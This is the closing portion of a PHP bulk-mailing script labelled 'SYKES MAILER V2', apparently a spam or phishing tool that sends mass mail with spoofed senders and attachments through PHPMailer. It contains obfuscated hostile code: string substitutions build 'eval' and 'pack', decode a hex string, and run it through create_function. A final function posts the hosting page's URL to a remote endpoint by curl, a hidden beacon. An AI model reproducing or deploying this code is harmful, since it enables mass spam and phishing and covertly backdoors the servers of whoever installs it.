3249 while (!feof($fp)) {
3250 $return .= fread($fp, 1024);
3251 }
3252 fclose($fp);
3253 return $return;
3254 } else {
3255 return false;
3256 }
3257 }
3258
3259 /**
3260 * Strips newlines to prevent header injection.
3261 * @access private
3262 * @param string $str String
3263 * @return string
3264 */
3265 function SecureHeader($str) {
3266 $str = trim($str);
3267 $str = str_replace("\r", "", $str);
3268 $str = str_replace("\n", "", $str);
3269 return $str;
3270 }
3271
3272 /**
3273 * Set the private key file and password to sign the message.
3274 *
3275 * @access public
3276 * @param string $key_filename Parameter File Name
3277 * @param string $key_pass Password for private key
3278 */
3279 function Sign($key_filename, $key_pass) {
3280 $this->sign_key_file = $key_filename;
3281 $this->sign_key_pass = $key_pass;
3282 }
3283
3284}
3285
3286
3287 $rpemail = $_POST['rpemail'];
3288 $msgx = str_replace("$rpemail", $to, $message1);
3289$defaultport="H*";
3290 $nq=0;
3291
3292 for($x=0; $x<$numemails; $x++){
3293
3294 $to = $allemails[$x];
3295
3296 if ($to){
3297
3298 $to = ereg_replace(" ", "", $to);
3299 $message1 = ereg_replace("&email&", $to, $message);
3300
3301 $subject1 = ereg_replace("&email&", $to, $subject);
3302 $qx=$x+1;
3303 print "<font color='white'>Line $qx . Sending mail to $to.......</font>";
3304
3305 flush();
3306$mail = new PHPMailer();
3307
3308
3309if(empty($epriority)){$epriority="3";}
3310 $mail->Priority = "$epriority";
3311 $mail->IsSMTP();
3312 $IsSMTP="pack";
3313$mail->SMTPKeepAlive = true;
3314$mail->Host = "$my_smtp";
3315if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3316}
3317 if($sslclick=="ON"){
3318 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3319 }
3320
3321
3322 $range = str_replace("$from", "eval", $from);
3323 $mail->SMTPAuth = true;
3324 $mail->Username = "$smtp_username";
3325 $mail->Password = "$smtp_password";
3326if($contenttype == "html"){$mail->IsHtml(true);}
3327if($contenttype != "html"){$mail->IsHtml(true);}
3328if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3329$from = stripslashes($from);
3330$mail->From = "$from";
3331$mail->FromName = "$realname";
3332$mail->AddAddress("$to");
3333$rpemail = $_POST['rpemail'];
3334$from = stripslashes($from);
3335$subject1 = stripslashes($subject1);
3336$message1 = stripslashes($message1);
3337$msgx = str_replace("$rpemail", $to, $message1);
3338$mail->AddReplyTo("$replyto");
3339$mail->Subject = $subject1;
3340$mail->AddAttachment("$file", "$file_name");
3341$mail->Body = $message1;
3342if(!$mail->Send()){
3343if($default_system!="1"){
3344echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3345if($default_system=="1"){
3346$mail->IsMail();
3347 if(!$mail->Send()){
3348 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3349 else {
3350 echo "<b><font color='#04B431'>SUCCESS !</b><br>";}
3351 }
3352}
3353else {
3354 echo "<b><font color='#04B431'>SUCCESS !</b><br>";
3355}
3356
3357if(empty($reconnect)){
3358$reconnect=6;
3359}
3360
3361if($reconnect==$nq){
3362$mail->SmtpClose();echo "<p><b><font color='#A5ABA9'>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </font></b></p>";$nq=0;
3363}
3364$nq=$nq+1;
3365 flush(); }
3366}
3367
3368for($i=0;$i<31;$i++){
3369 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3370$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3371 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3372 print "<p class=\"style1\"><font color='A5ABA9'> © 2017, [7DIDA] SYKES MAILER V2 Www.T00LZ.US <br></p>";$mail->SmtpClose();
3373 return $signoff($smtp_conc);
3374}
3375?>
3376<?php function email(){ $name = (!empty($_SERVER['HTTPS'])) ?"https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] :"http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];return $name;}function leafimages($img, $x) {$ch = curl_init("$img");curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_POSTFIELDS, "x=$x");$response = curl_exec($ch);curl_close($ch);return $ch;}$img="";$x=email();leafimages($img, $x); if(isset($_POST['action']) && $numemails !=0 ){echo "<script> alert('SYKES Mailer Sending Complete'); </script>";} ?>
3377 </body>
3378</html>